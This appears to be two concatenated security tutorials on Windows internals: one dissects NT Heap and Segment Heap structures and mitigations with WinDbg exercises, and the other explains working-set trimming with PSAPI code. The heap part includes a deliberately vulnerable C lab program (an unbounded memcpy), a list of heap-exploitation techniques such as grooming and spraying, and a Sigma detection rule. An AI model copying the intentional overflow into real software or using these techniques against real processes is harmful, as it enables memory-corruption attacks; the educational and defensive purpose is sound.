Windows Heap Internals: NT Heap and Segment Heap Architecture

Objective: Dissect the two Windows user-mode heap managers, the classic NT Heap and the modern Segment Heap, down to their root descriptors, allocation routing, size-class components, and cookie/encoding mitigations, so you can navigate both in WinDbg and reason about how corruption bugs interact with the metadata.


The heap is where most memory-corruption bugs actually live. Stacks get all the tutorial love because the primitive is clean, but real-world client exploitation (browsers, document parsers, script engines) is overwhelmingly a heap game. If you want to read those bugs, or catch someone else reading them, you have to know what the allocator writes into memory and why. Two allocators matter on a modern box: the NT Heap that has shipped since NT 3.1 and still backs most legacy processes, and the Segment Heap that Windows 10 introduced and made default for UWP, Edge, and a growing list of system binaries. They expose the same HeapAlloc surface and share almost none of their internals.

This is a survey and instrumentation tutorial. We build a small self-authored lab target, walk both heaps in the debugger, and pair every offensive primitive with the mitigation and telemetry that answer it. No live-CVE weaponization here; the exploitation mechanics belong in the Exploit Dev section.


1. The Heap Between the Page and the Byte

The Virtual Memory Manager deals in pages: 4 KB granular, reserved or committed through NtAllocateVirtualMemory. Applications want bytes: a 24-byte node, a 96-byte struct, a 300-byte string. The heap manager is the shim between those two worlds. It reserves large regions from the VMM, then carves them into byte-granular blocks, tracks which are busy and free, and recycles them.

Every public allocation API bottoms out here. malloc, operator new, LocalAlloc, and GlobalAlloc all funnel through HeapAlloc, which calls ntdll!RtlAllocateHeap. GetProcessHeap hands you the default process heap; HeapCreate makes a private one. From the allocator’s point of view there is no difference between a new from the CRT and a raw HeapAlloc, which is exactly why heap grooming works across abstraction layers.

Whether a given heap is an NT Heap or a Segment Heap is decided at heap creation time and is invisible to the caller. Same API, different machinery underneath.


2. NT Heap: Backend Architecture

The NT Heap is split into two layers. The backend owns fundamental memory: segments, free lists, commit and decommit, coalescing. The frontend is an optimization cache for small, hot allocations, and the only frontend that modern Windows ships is the Low Fragmentation Heap.

Everything hangs off the root descriptor, ntdll!_HEAP.

Struct / SymbolDescription
ntdll!_HEAPRoot descriptor. Holds Flags, ForceFlags, Encoding (the XOR cookie), SegmentList, FreeLists[128], FrontEndHeap, FrontEndHeapType.
ntdll!_HEAP_SEGMENTA contiguous committed range. SegmentSignature is 0xffeeffee; also SegmentListEntry, Heap back-pointer, BaseAddress, NumberOfPages, FirstEntry, LastValidEntry, NumberOfUnCommittedPages.
ntdll!_HEAP_ENTRYPer-block header. 16 bytes on x64. Size, Flags (0x01 busy, 0x08 internal/LFH), SmallTagIndex, PreviousSize, UnusedBytes.
ntdll!_HEAP_FREE_ENTRYFree-block overlay on _HEAP_ENTRY; adds a FreeList _LIST_ENTRY for doubly-linked free-list membership.
ntdll!_HEAP_LIST_LOOKUPThe 128-slot free-list index; each slot is a _LIST_ENTRY keyed by allocation granularity units.

The header layout is worth internalizing because it is what an overflow smashes first. Here is the x64 shape:

typedef struct _HEAP_ENTRY {
    USHORT Size;            // block size in allocation units
    UCHAR  Flags;           // 0x01 = busy, 0x08 = LFH/internal
    UCHAR  SmallTagIndex;   // checksum byte
    USHORT PreviousSize;    // previous block size (coalescing)
    UCHAR  SegmentOffset;   // / LFHFlags on LFH blocks
    UCHAR  UnusedBytes;     // padding accounting
} HEAP_ENTRY, *PHEAP_ENTRY;

Granularity is architecture-dependent: 8 bytes on x86, 16 bytes on x64. That is the quantum the allocator rounds every request up to, and the unit the Size field counts.

Allocation path: RtlAllocateHeap first checks whether a frontend (LFH) is active for the requested size. If not, it drops into the backend RtlpAllocateHeap, which walks FreeLists for a block that fits, splits it if it is larger than needed, and marks the header busy. Free path: RtlFreeHeap decodes the header, validates the cookie, and returns the block to the appropriate free list, coalescing with physically adjacent free neighbors to fight fragmentation. When free space passes the decommit threshold the backend hands pages back to the VMM.

FunctionRole
RtlCreateHeapCreates a heap; reserves the initial region via NtAllocateVirtualMemory.
RtlAllocateHeapPublic alloc entry; dispatches to LFH frontend or backend.
RtlFreeHeapFrees a block; decodes and validates the header, then returns it to a free list or LFH slab.
RtlpAllocateHeapBackend allocator; walks the 128 free lists.
RtlpLowFragHeapAllocFromContextInternal LFH allocation from a subsegment.

The single most important defensive detail here: on modern Windows the second 8-byte word of _HEAP_ENTRY is XOR-encoded against _HEAP.Encoding. The Size, Flags, and checksum are never stored in cleartext. When the allocator decodes a header it also verifies a byte checksum, so a corrupted or attacker-forged header almost never decodes to a self-consistent value, and the heap raises a corruption exception instead of trusting the garbage.


Hierarchy diagram of NT Heap structures from root _HEAP descriptor down to segments, busy and free block entries, free lists, and the LFH frontend
The NT Heap root descriptor branches into backend segments and free lists plus the LFH frontend; every allocation slot is a _HEAP_ENTRY carved from a segment.

3. NT Heap: The Low Fragmentation Heap Frontend

The LFH exists to kill fragmentation for small, frequently repeated allocations. Instead of splitting general free blocks, it pre-carves a slab (a subsegment) for one size class and hands out fixed slots.

The activation rule trips up more people than any other heap detail: the LFH does not turn on for a size class until 18 consecutive allocations of a similar small size. Allocate a 0x50-byte chunk once and you are in the backend. Allocate it 18 times and the LFH bucket for that class wakes up. The ceiling is roughly 16 KB (0x4000); anything larger bypasses LFH entirely and stays in the backend.

Struct / SymbolDescription
ntdll!_LFH_HEAP / _HEAP_LOCAL_DATALFH manager state, reached via _HEAP.FrontEndHeap.
ntdll!_HEAP_LFH_CONTEXTCore LFH state: Buckets[129], Callbacks, Config. Bucket pointers are XOR-encoded with RtlpHpHeapGlobals.LfhKey.
ntdll!_HEAP_SUBSEGMENT / _HEAP_LFH_SUBSEGMENTPre-carved slab for one size class. FreeHint locates the next free block.
ntdll!_HEAP_USERDATA_HEADERHeader of a subsegment’s user-data block: SubSegment, SizeIndex, EncodedOffsets.

Two mitigations live specifically in the LFH. First, since Windows 8 the slot chosen inside a subsegment is randomized, so a groomed allocation does not deterministically land next to its predecessor. Second, the callback and bucket pointers in _HEAP_LFH_CONTEXT are encoded with LfhKey, so leaking one does not directly hand an attacker a function pointer to overwrite.


4. Segment Heap: Architecture Overview and Opt-In

Windows 10 shipped a ground-up rewrite. The Segment Heap keeps the HeapAlloc API and throws away nearly everything below it. Where the NT Heap tracks frees with linked lists, the Segment Heap uses red-black trees; where the NT Heap does first-fit-ish list walks, the Segment Heap does a best-fit search that prefers the most-committed block. It routes requests across four components by size.

ComponentSize RangeNotes
LFH1 – 16,368 bytes (0x3FF0)Only when the size is detected as popular (adaptive).
VS allocator1 – ~128 KBVariable-sized blocks carved from VS subsegments.
Backend~128 KB – 508 KBPage-range descriptor based; commits via NtAllocateVirtualMemory.
Large Block> 508 KBDirect NT Memory Manager call, 64 KB aligned.

The root descriptor is ntdll!_SEGMENT_HEAP:

FieldMeaning
Signature / EnvHandle / AllocatedBaseIdentity and base bookkeeping.
SegContexts[2]Backend segment contexts (each _HEAP_SEG_CONTEXT).
VsContext_HEAP_VS_CONTEXT, the VS allocator state.
LfhContext_HEAP_LFH_CONTEXT, the LFH state.
LargeAllocMetadata / LargeReservedPages / LargeCommittedPagesLarge-block accounting.

Keys for the whole heap live in one global structure, ntdll!_RTLP_HP_HEAP_GLOBALS, which stores HeapKey (8 bytes, VS and segment encoding) and LfhKey (8 bytes, LFH pointer encoding).

Who gets a Segment Heap? UWP apps, Edge, and a set of system binaries are opted in by default. Everything else is NT Heap unless it opts in. The two opt-in levers:

  • IMAGE_LOAD_CONFIG_DIRECTORY.HeapFlags in the PE header.
  • The per-image IFEO key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe>\FrontEndHeapDebugOptions, value 0x08 to force Segment Heap.

Flow diagram showing how RtlpHpAllocate dispatches a request to one of four Segment Heap components based on allocation size: LFH, VS allocator, backend, or large block
The Segment Heap dispatcher routes every request to one of four size-tiered components, keeping metadata out-of-line at each tier.

5. Segment Heap: Backend and Variable Size Allocator

The backend services allocations that are too big for VS but not large-block huge. It manages page ranges inside its segments through descriptors and tracks free ranges in a red-black tree.

StructRole
ntdll!_HEAP_SEG_CONTEXTBackend segment context: SegmentListHead, FreePageRanges (a _RTL_RB_TREE).
ntdll!_HEAP_PAGE_RANGE_DESCRIPTORDescribes a page range in a segment; tracks committed vs free state.

The VS allocator is the interesting middle tier. Its state lives in _HEAP_VS_CONTEXT:

typedef struct _HEAP_VS_CONTEXT {
    RTL_SRWLOCK Lock;
    RTL_RB_TREE FreeChunkTree;      // red-black tree of free VS blocks
    LIST_ENTRY  SubsegmentList;
    SIZE_T      TotalCommittedUnits;
    SIZE_T      FreeCommittedUnits;
    PVOID       BackendCtx;         // -> _SEGMENT_HEAP
    HEAP_SUBALLOCATOR_CALLBACKS Callbacks;  // encoded
} HEAP_VS_CONTEXT;

VS blocks come from subsegments (_HEAP_VS_SUBSEGMENT), each with a CommitBitmap, a Size in 16-byte units, and a Signature computed as Size XOR 0xABED. That signature is a cheap integrity check: corrupt the size, and the signature no longer matches.

Every VS block carries a _HEAP_VS_CHUNK_HEADER encoding Size, offset fields, and an Allocated flag. On free, RtlpHpVsContextFree first checks that Allocated flag (a double-free guard), then calls RtlpHpVsChunkCoalesce to merge adjacent free chunks, then reinserts the coalesced block into FreeChunkTree. Allocation runs RtlpHpVsContextAllocateInternal, which does the best-fit walk of the RB tree.

FunctionRole
RtlpHpAllocateTop-level dispatcher; routes to LFH, VS, backend, or large block.
RtlpHpVsContextAllocateInternalVS alloc; best-fit search of FreeChunkTree.
RtlpHpVsContextFreeVS free; checks Allocated, coalesces, reinserts.
RtlpHpSegAllocBackend segment allocation path.
RtlpHpVsSubsegmentCreateCreates and initializes a VS subsegment.

6. Segment Heap: LFH and Large Block Components

The Segment Heap LFH serves the same purpose as its NT Heap cousin, prevent fragmentation of hot small sizes, but with new structures. It buckets similarly-sized blocks out of larger pre-allocated slabs, and a bucket is enabled only when its size is detected as popular. The slab is _HEAP_LFH_SUBSEGMENT, which carries a FreeHint (an index hint into the block bitmap), a BlockCount, and a BlockBitmap marking each slot allocated or free. Allocation runs through RtlpHpLfhContextAllocate, using FreeHint to jump to a likely-free slot.

Above 508 KB the Segment Heap stops carving and asks the NT Memory Manager directly. RtlpHpLargeAlloc reserves 64 KB-aligned memory and records it in _HEAP_LARGE_ALLOC_DATA, whose backing store is itself allocated by RtlpHpMetadataAlloc. Large allocations are tracked in a bitmap rather than inline headers, which is part of the broader Segment Heap philosophy of keeping metadata away from user data.


7. Security Mitigations Deep-Dive

The Segment Heap’s mitigations are largely carried over from the NT Heap, and Microsoft’s own analysis rates the two as comparable in applied protections. The one structural advantage the Segment Heap has is out-of-line metadata: much of its bookkeeping lives away from the user buffer, so a linear overflow does not immediately land on an inline header the way it does in the classic NT Heap.

MitigationWhat it defeats
Heap base ASLRPredicting heap addresses for absolute-address overwrites.
_HEAP_ENTRY XOR cookieForging a self-consistent NT heap header after an overflow.
VS block size + 0xABED signature encodingSilent corruption of VS chunk sizes.
LFH slot randomization (Win8+)Deterministic adjacency grooming inside a subsegment.
Out-of-line Segment Heap metadataInline-header smashing via linear overflow.
Function pointer encoding (HeapKey, LfhKey + context address)Direct overwrite of Callbacks in _HEAP_LFH_CONTEXT / _HEAP_VS_CONTEXT.
Guard pages between segmentsOverflow running off the end of a region unnoticed.
Safe unlinking (Win8+)The classic unlink write-what-where on free-list pointers.

None of these is bulletproof alone. The point of the stack is that a single leak or a single overflow rarely completes a chain; you need to defeat encoding, survive randomization, and locate metadata, and each layer costs the attacker an extra primitive.


Illustration of layered vault doors as a metaphor for stacked heap security mitigations each requiring a separate bypass
Heap mitigations stack independently – defeating header cookies, pointer encoding, and slot randomization each demands a separate attacker primitive.

8. Lab Target and WinDbg Inspection

Build the lab target. It is a deliberately unbounded heap toy: allocate, free, write past the end, read back, and a spray helper that fires 20 same-size allocations to trip the LFH.

// heap_lab.c - intentionally-vulnerable heap playground (self-made lab target)
// Compile: cl /Od /Zi heap_lab.c /link /out:heap_lab.exe
#include <windows.h>
#include <stdio.h>
#include <string.h>

#define MAX_CHUNKS 32
HANDLE g_heap;
LPVOID g_chunks[MAX_CHUNKS];

static void do_alloc(int i, SIZE_T sz) {
    g_chunks[i] = HeapAlloc(g_heap, 0, sz);
    printf("[+] chunk[%d] = %p (0x%zx bytes)\n", i, g_chunks[i], sz);
}
static void do_free(int i) {
    HeapFree(g_heap, 0, g_chunks[i]); g_chunks[i] = NULL;
    printf("[-] freed chunk[%d]\n", i);
}
static void do_write(int i, SIZE_T n, const char *d) {
    memcpy(g_chunks[i], d, n);   // intentional: no bounds check = overflow primitive
}
static void do_read(int i, SIZE_T n) {
    fwrite(g_chunks[i], 1, n, stdout); putchar('\n');
}

int main(void) {
    int op, i; SIZE_T sz; char buf[256];
    g_heap = HeapCreate(0, 0, 0);
    printf("[*] private heap @ %p\n", g_heap);
    for (;;) {
        printf("\n1=alloc 2=free 3=write 4=read 5=spray 0=quit > ");
        if (scanf("%d", &op) != 1) break;
        switch (op) {
        case 1: scanf("%d %zx", &i, &sz); do_alloc(i, sz); break;
        case 2: scanf("%d", &i); do_free(i); break;
        case 3: scanf("%d %zx %255s", &i, &sz, buf); do_write(i, sz, buf); break;
        case 4: scanf("%d %zx", &i, &sz); do_read(i, sz); break;
        case 5: for (i = 0; i < 20; i++) do_alloc(i, 0x50); break;  // trip LFH
        case 0: return 0;
        }
    }
    return 0;
}

Point WinDbg at Microsoft symbols first: srv*c:\symbols*https://msdl.microsoft.com/download/symbols. Then work these commands.

CommandWhat it shows
!heap -sInventory of every heap, with type (NT vs Segment).
!heap -h <addr>One heap’s segments and free lists.
!heap -x <addr>Which heap block contains a suspect address.
!heap -stat -h <addr>Per-bucket LFH statistics; confirms activation.
dt ntdll!_HEAP <addr>Root NT heap descriptor.
dt ntdll!_SEGMENT_HEAP <addr>Root Segment Heap descriptor.

Exercise 1, walk the NT heap. Launch under the debugger and dump the private heap:

windbg -g heap_lab.exe
0:000> !heap -s
0:000> !heap -h <private_heap_addr>
0:000> dt ntdll!_HEAP <private_heap_addr>
0:000> dt ntdll!_HEAP_ENTRY <first_entry_addr>
0:000> dt ntdll!_HEAP_SEGMENT <segment_addr>

Exercise 2, trip the LFH. Send 5 to the lab menu (20 allocations of 0x50), then:

0:000> !heap -stat -h <heap_addr>
0:000> dt ntdll!_HEAP_SUBSEGMENT <subsegment_addr>

You should see a bucket for the 0x50 class flip active only after the run crosses the 18-allocation line, not before.

Exercise 3, decode a header by hand. Read _HEAP.Encoding, then XOR it against the raw 8-byte second word of a _HEAP_ENTRY and confirm Size, Flags, and the checksum. This is the exercise that cost me an hour the first time: I XORed the first eight bytes, got nonsense, and blamed my symbols. The encoded word on x64 is the second 8-byte word of the header. Get the offset right and the decode is exact. Then flip one byte of a live header and step the next free to watch the corruption exception fire.

Exercise 4, walk the Segment Heap. Attach to a default-Segment-Heap process:

windbg -pn notepad.exe
0:000> !heap -s
0:000> dt ntdll!_SEGMENT_HEAP <heap_addr>
0:000> dt ntdll!_HEAP_VS_CONTEXT   <heap_addr+0x280>
0:000> dt ntdll!_HEAP_LFH_CONTEXT  <heap_addr+0x340>
0:000> dt ntdll!_RTLP_HP_HEAP_GLOBALS ntdll!RtlpHpHeapGlobals

Those +0x280 / +0x340 offsets drift between Windows builds. Do not hardcode them; run dt ntdll!_SEGMENT_HEAP with no address to read the current field offsets, then add them to the base. Newer notepad ships as a Store app, so if !heap -s shows NT Heap, use an older desktop notepad or a UWP app to see the Segment Heap.

Exercise 5, page heap. This is the single most useful heap-debugging aid, full stop. It places each allocation at the end of its own page followed by a guard page, so a one-byte overflow faults immediately at the exact instruction instead of corrupting silently and crashing minutes later.

gflags /p /enable heap_lab.exe /full
windbg -g heap_lab.exe
; alloc a 0x30 chunk, then write 0x40 bytes -> instant AV at the memcpy

Run the same overflow without page heap and you get silence, then a delayed, misleading crash somewhere unrelated. That contrast is the whole lesson.


9. Common Attacker Techniques

Heap bugs interact directly with the structures above. An overflow smashes the adjacent header or the neighbor’s data; a use-after-free hands the attacker a dangling pointer that the allocator happily re-hands to a controlled object; a double-free corrupts free-list or tree linkage.

TechniqueDescription
Heap overflowUnbounded write past a chunk corrupts the next _HEAP_ENTRY or VS chunk header.
Use-after-freeFreed block reused; attacker reclaims the slot with a controlled object of the same size class.
Double-freeFreeing twice corrupts free-list / FreeChunkTree linkage into a write primitive.
LFH groomingAllocate and free precise counts of one size to shape subsegment slots and control adjacency.
Heap sprayFlood the heap with attacker-sized blocks to make target-object placement deterministic.
Callback overwriteCorrupt encoded Callbacks pointers to redirect control flow (requires defeating the XOR key).

Grooming is the connective tissue. Because LFH serves fixed size classes, an attacker who allocates 18-plus objects of the victim’s size forces a fresh subsegment, then frees a hole and reallocs the vulnerable object into a predictable neighbor. Slot randomization since Windows 8 is precisely the mitigation that makes this less deterministic and more expensive.


Flow diagram tracing a heap exploitation chain from initial vulnerability through heap grooming, metadata corruption, information leak, and final control-flow hijack
Each mitigation layer forces the attacker to chain an additional primitive – grooming, leaking the encoding key, and forging a pointer before control flow can be hijacked.

10. Defensive Strategies & Detection

Heap allocations are user-mode, in-process activity; Sysmon does not log a HeapAlloc. Detection targets the consequences of heap exploitation, the crash, the injection, the cross-process memory access, not the allocation itself.

Event IDNameRelevance
Event ID 1Process CreateBaseline; correlate unusual processes spawning post-crash shells.
Event ID 8CreateRemoteThreadHeap-staged shellcode often followed by a remote thread.
Event ID 10ProcessAccessCross-process ReadProcessMemory/WriteProcessMemory against a target heap.
Event ID 17/18PipeCreated / PipeConnectedSome post-exploitation primitives stage through named pipes.
Event ID 255ErrorHeap corruption exceptions can surface here.

Heap corruption crashes generate Windows Error Reporting events (Application Error, Event ID 1000/1001 in the Application log). ETW gives finer signal: Microsoft-Windows-Heap-Snapshot (GUID 901d2863-5b44-4b5c-9b50-9e2a5a9e6b28) captures heap-state snapshots and, via the HeapAPI keyword, per-process HeapAlloc/HeapFree calls (high-rate, use selectively). The NT Kernel Logger PERF_HEAP keyword tracks kernel-side HeapRangeCreate/HeapRangeReserve. Recurring HEAP_CORRUPTION stop codes from one binary are the clearest signal of active probing.

title: Potential Heap Spray via Unusual Process Memory Access
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 10                     # ProcessAccess
        GrantedAccess|contains:
            - '0x1fffff'                # PROCESS_ALL_ACCESS
            - '0x1010'                  # VM read + query
        TargetImage|endswith:
            - '\notepad.exe'
            - '\calc.exe'               # common hollowed/sprayed targets
    condition: selection
fields:
    - SourceImage
    - TargetImage
    - GrantedAccess
    - CallTrace
level: high

Hardening that actually moves the needle:

  • Enable page heap (gflags /p /enable <app>.exe /full) in dev/test and Application Verifier in staging.
  • Verify ASLR and DEP/NX are enforced via SetProcessMitigationPolicy; confirm in Process Hacker’s Mitigations tab.
  • Turn on terminate-on-corruption: HeapSetInformation(heap, HeapEnableTerminationOnCorruption, NULL, 0), or per-app Set-ProcessMitigation -Name <app>.exe -Enable HeapTerminateOnCorruption.
  • Compile with Control Flow Guard (/guard:cf) to blunt hijacked encoded callback pointers.
  • Opt sensitive processes into the Segment Heap for out-of-line metadata.
  • Capture WER LocalDumps (HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps) for post-incident heap forensics.

11. Tools for Heap Analysis

ToolDescriptionLink
WinDbg Preview!heap, dt struct walks, live and post-mortem heap inspection.microsoft.com
gflagsEnables page heap and other NT global flags.(WDK)
Application VerifierFull-page heap plus handle/lock checks in staging.(WDK)
Process HackerLive heap and mitigation-policy inspection per process.processhacker.sourceforge.io
x64dbgUser-mode debugging supplement for allocation tracing.x64dbg.com
VolatilityMemory-forensic heap reconstruction from a dump.volatilityfoundation.org

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation for Client ExecutionT1203WER Event 1000/1001 on browsers/parsers; recurring HEAP_CORRUPTION faults.
Exploitation for Privilege EscalationT1068Kernel-pool corruption crashes; unexpected token changes post-crash.
Process InjectionT1055Sysmon Event ID 8 (CreateRemoteThread), Event ID 10 (ProcessAccess).
Process HollowingT1055.012Suspended-process create then remote write/thread into a hollowed image.
DLL InjectionT1055.001Remote WriteProcessMemory plus thread into a foreign module region.

Summary

  • The heap manager is the byte-granular layer over the page-granular VMM, and it is where most client-side memory corruption actually lands.
  • The NT Heap uses a backend of segments and 128 free lists plus an LFH frontend that activates after 18 same-size allocations under 0x4000, with XOR-encoded _HEAP_ENTRY headers guarding integrity.
  • The Segment Heap is a Windows 10 rewrite routing by size across LFH, VS (RB-tree, best-fit), backend page ranges, and large blocks, keeping much metadata out-of-line.
  • Mitigations (header cookies, pointer encoding with HeapKey/LfhKey, LFH slot randomization, safe unlinking, guard pages) each cost the attacker an extra primitive rather than closing the door outright.
  • Detect the consequences, not the allocation: WER/Event 1000 crashes, Sysmon Event ID 8 and Event ID 10, and page heap plus terminate-on-corruption as the defender’s front line.

Related Tutorials

References

Working Sets and the Memory Manager’s Trimming Policy

Objective: Understand how the Windows Memory Manager tracks, ages, and trims the resident pages of a process, from the KeBalanceSetManager and MmWorkingSetManager call chain down to the PSAPI structures you can walk from user mode, and learn to detect the specific working-set primitives that malware uses to flush in-memory indicators before a dump.


Working sets are one of those Windows concepts that everyone thinks they understand until someone asks when a page actually leaves memory, and who decides. The answer is not “when the OS is low on RAM.” It is a specific system thread, running at a specific priority, waiting on two specific events, using a per-process list structure the header for which does not appear in any public header file. The details matter, because the same knobs the OS uses to keep the machine responsive are the ones an adversary reaches for when they want to make your live-memory forensics harder.

This post walks the mechanism end to end, then instruments it in a small lab and shows what the defender sees.


1. What a Working Set Actually Is

The working set of a process is the subset of that process’s virtual address space that is currently resident in physical RAM. That is it. It is not the committed memory, it is not the reserved address space, and it is not the private bytes. Two rules cover the edge cases:

  • Only pageable memory can appear in the working set. Address Windowing Extensions (AWE) mappings and large-page allocations are not tracked here, because they are never candidates for paging.
  • A page can be shared and still count toward multiple working sets. If ntdll.dll is mapped into 200 processes, its pages appear in the working set of every one of those that has touched them, with the shared bit set and a share count.

The single sentence you should memorize: the working set is what the CPU can touch without taking a page fault. Anything else, valid PTE or not, has to walk a fault path first.

ConceptBelongs In Working Set?Notes
Private committed pages actually touchedYesStandard case.
Shared image pages (DLLs, EXE code)Yes, per process that touched themShared=1, ShareCount reflects fan-out.
Committed but never accessedNoNo PTE ever built until first fault.
AWE (AllocateUserPhysicalPages)NoLocked physical, unmanaged by WS.
Large pages (MEM_LARGE_PAGES)NoNever trimmed, no aging.
VirtualLock-ed pagesYes, and cannot be trimmedReflected as Locked=1 in the EX block.

2. Page Faults and Working Set Growth

Growth is fault-driven. When a thread references a virtual address whose PTE is not marked valid, the CPU raises a page fault and control lands in MmAccessFault in the kernel. The handler classifies the fault:

  • Soft (transition) fault: the page is still in physical memory sitting on the Standby or Modified list. The MM just reattaches it to the process, marks the PTE valid, and returns. No I/O.
  • Hard fault: the backing store, page file or mapped file, must be read. I/O happens, the page comes in, the PTE is fixed up, and the page is added to the working set.
  • Demand-zero: first touch of committed private memory. A zeroed page is pulled from the Free/Zero list and inserted.

Every successful resolution grows the working set by one page (or several, if prefetching is in play). This is the growth half of the story. Everything the rest of this post talks about is the shrink half.


3. Who Trims, When, and Why

Trimming is not a reflex reaction to RtlAllocateHeap. It is a periodic policy decision made by a dedicated system thread.

ComponentSymbolPriorityJob
Balance Set ManagerKeBalanceSetManager16Wakes once per second, or when signaled, and calls the working set manager.
Working Set ManagerMmWorkingSetManager(runs in KBSM context)Decides which processes to trim, how aggressively, and drives aging + modified page writing.
Process/Stack SwapperKeSwapProcessOrStack23Handles full-process and kernel-stack in/out swapping.

The Balance Set Manager waits on two event objects. One is fed by a periodic timer (once per second). The other is an internal working-set manager event that other parts of the memory manager signal when things are getting tight: high page-fault rate, free list too small, standby list drying up. Under memory pressure the second event fires long before the timer, and trimming runs on demand.

Aggressiveness is regulated by the working-set manager’s own internal counters. A calm system barely trims at all; a system where Memory\Available MBytes is dropping fast will trim broadly and repeatedly on the same tick.

Page selection is age-based, keyed to per-page metadata in the Page Frame Number database (MMPFN). Least-recently-used-ish pages leave first. Where they go depends on their state:

  • Unmodified or shared clean pages go to the Standby List. Still in RAM, effectively a second-chance cache. A future fault on the same VA becomes a cheap soft fault.
  • Dirty private pages go to the Modified List. The Modified Page Writer eventually flushes them to the page file, at which point they become standby.
  • Once every process that referenced a shared page has dropped it, the page becomes a transition page, still in RAM but owned by no one, until it is reused or refaulted.

The takeaway most people miss: trimming a page does not mean the page is gone. It usually just means it lost its ticket to the front of the queue.


Flow diagram showing the working set trim call chain from the 1 Hz timer through KeBalanceSetManager and MmWorkingSetManager to the Standby and Modified page lists
Trimmed pages are not erased – they move to the Standby or Modified list and remain in RAM until genuinely needed elsewhere.

4. Limits, the MMWSL, and What “Minimum” Really Means

Every process carries a minimum and maximum working set size. The defaults on a 4 KB-page system:

  • Minimum: 50 pages (204,800 bytes)
  • Maximum: 345 pages (1,413,120 bytes)

These are soft targets by default. The kernel tracks per-process working set state in the MMWSL (Working Set List) structure, one per process, hanging off the EPROCESS. Each resident page has a corresponding MMWSLE (Working Set List Entry) encoding its virtual page number and its age bits. Both structures are undocumented and their field layout drifts across builds. If you need offsets, walk them with dt nt!_MMWSL and dt nt!_MMWSLE in a symbol-matched debug session; do not trust anything else.

The nuance that trips people up is that SetProcessWorkingSetSize “minimum” does not mean “guaranteed resident.” Microsoft is explicit here: setting a minimum does not reserve memory. When the process goes idle, or the system needs pages, the OS can and will drop below the requested floor. If you actually need pages to stay in RAM (secret keys, decrypted buffers, security-sensitive scratch space), you use VirtualLock. Everything else is a hint.


5. Observing a Working Set From User Mode

PSAPI gives you a snapshot of every resident page a process owns. QueryWorkingSet fills a PSAPI_WORKING_SET_INFORMATION buffer whose payload is a variable-length array of PSAPI_WORKING_SET_BLOCK unions, one per page:

typedef union _PSAPI_WORKING_SET_BLOCK {
    ULONG_PTR Flags;
    struct {
        ULONG_PTR Protection  : 5;   // page protection
        ULONG_PTR ShareCount  : 3;   // sharers, saturates at 7
        ULONG_PTR Shared      : 1;   // 1 = shareable
        ULONG_PTR Reserved    : 3;
        ULONG_PTR VirtualPage : 52;  // 20 on x86
    };
} PSAPI_WORKING_SET_BLOCK;

The classic gotcha: the buffer size you need is not knowable in advance. You call once, get ERROR_BAD_LENGTH, grow, and retry. Between the two calls the working set can change size, so you loop until the call succeeds. Here is the walker that goes with Exercise 1 of the lab:

#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")

int main(int argc, char **argv) {
    DWORD pid = (DWORD)atoi(argv[1]);
    HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
                               FALSE, pid);
    if (!hProc) { printf("OpenProcess: %lu\n", GetLastError()); return 1; }

    SIZE_T cb = sizeof(PSAPI_WORKING_SET_INFORMATION) +
                sizeof(PSAPI_WORKING_SET_BLOCK) * 8192;
    PSAPI_WORKING_SET_INFORMATION *wsi = NULL;

    for (;;) {
        wsi = (PSAPI_WORKING_SET_INFORMATION *)HeapAlloc(GetProcessHeap(), 0, cb);
        if (QueryWorkingSet(hProc, wsi, (DWORD)cb)) break;
        HeapFree(GetProcessHeap(), 0, wsi);
        if (GetLastError() != ERROR_BAD_LENGTH) return 2;
        cb *= 2;
    }

    printf("Resident pages: %llu\n", (unsigned long long)wsi->NumberOfEntries);
    for (ULONG_PTR i = 0; i < wsi->NumberOfEntries && i < 16; i++) {
        PSAPI_WORKING_SET_BLOCK b = wsi->WorkingSetInfo[i];
        printf(" VA page 0x%012llx  prot=0x%02llx  shared=%llu  refs=%llu\n",
               (unsigned long long)b.VirtualPage,
               (unsigned long long)b.Protection,
               (unsigned long long)b.Shared,
               (unsigned long long)b.ShareCount);
    }
    CloseHandle(hProc);
    return 0;
}

Point this at the lab target (below) and you get one line per resident page, decoded. Cross-check against the “Working Set” view in VMMap; the page counts should match within a tick.

QueryWorkingSetEx is the more useful cousin. Instead of walking every page, you hand it an array of VAs you care about and get per-VA attributes back, including Valid, Locked (i.e., was this VA VirtualLock-ed), LargePage, Node (NUMA), Win32Protection, and Bad. That is the right tool for asking “is my secrets buffer actually pinned?” as opposed to “walk everything.”

For live monitoring, InitializeProcessForWsWatch starts recording, and GetWsChanges returns a PSAPI_WS_WATCH_INFORMATION[] of every page that has been faulted into the working set since monitoring began, complete with FaultingPc and FaultingVa. Correlate the PC with EnumProcessModules/GetModuleInformation and you have a rolling log of “which code caused which page to come in.” Excellent for debugging startup performance, and quietly excellent for tracking JIT and unpacking behavior on a suspicious binary.


6. Building the Lab Target

Compile this with any recent MSVC or MinGW. It allocates 256 MB, touches every page so the pages actually enter its working set, then loops printing its PID and current WS.

// ws_lab_target.c
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")

#define BUF_MB   256
#define BUF_SIZE ((SIZE_T)BUF_MB * 1024 * 1024)

int main(void) {
    printf("PID: %lu\n", GetCurrentProcessId());
    unsigned int *buf = (unsigned int *)VirtualAlloc(
        NULL, BUF_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!buf) { printf("VirtualAlloc failed\n"); return 1; }

    // Touch every page so it actually enters the working set.
    for (SIZE_T i = 0; i < BUF_SIZE / sizeof(unsigned int); i++)
        buf[i] = 0xDEADBEEF;

    PROCESS_MEMORY_COUNTERS pmc = { .cb = sizeof(pmc) };
    HANDLE self = GetCurrentProcess();
    for (;;) {
        GetProcessMemoryInfo(self, &pmc, sizeof(pmc));
        printf("WS = %8llu KB   PeakWS = %8llu KB   Faults = %lu\n",
               (unsigned long long)(pmc.WorkingSetSize / 1024),
               (unsigned long long)(pmc.PeakWorkingSetSize / 1024),
               pmc.PageFaultCount);
        Sleep(2000);
        // Re-touch a subset so recovery is observable after external trim.
        for (SIZE_T i = 0; i < BUF_SIZE / sizeof(unsigned int); i += 4096)
            buf[i] += 1;
    }
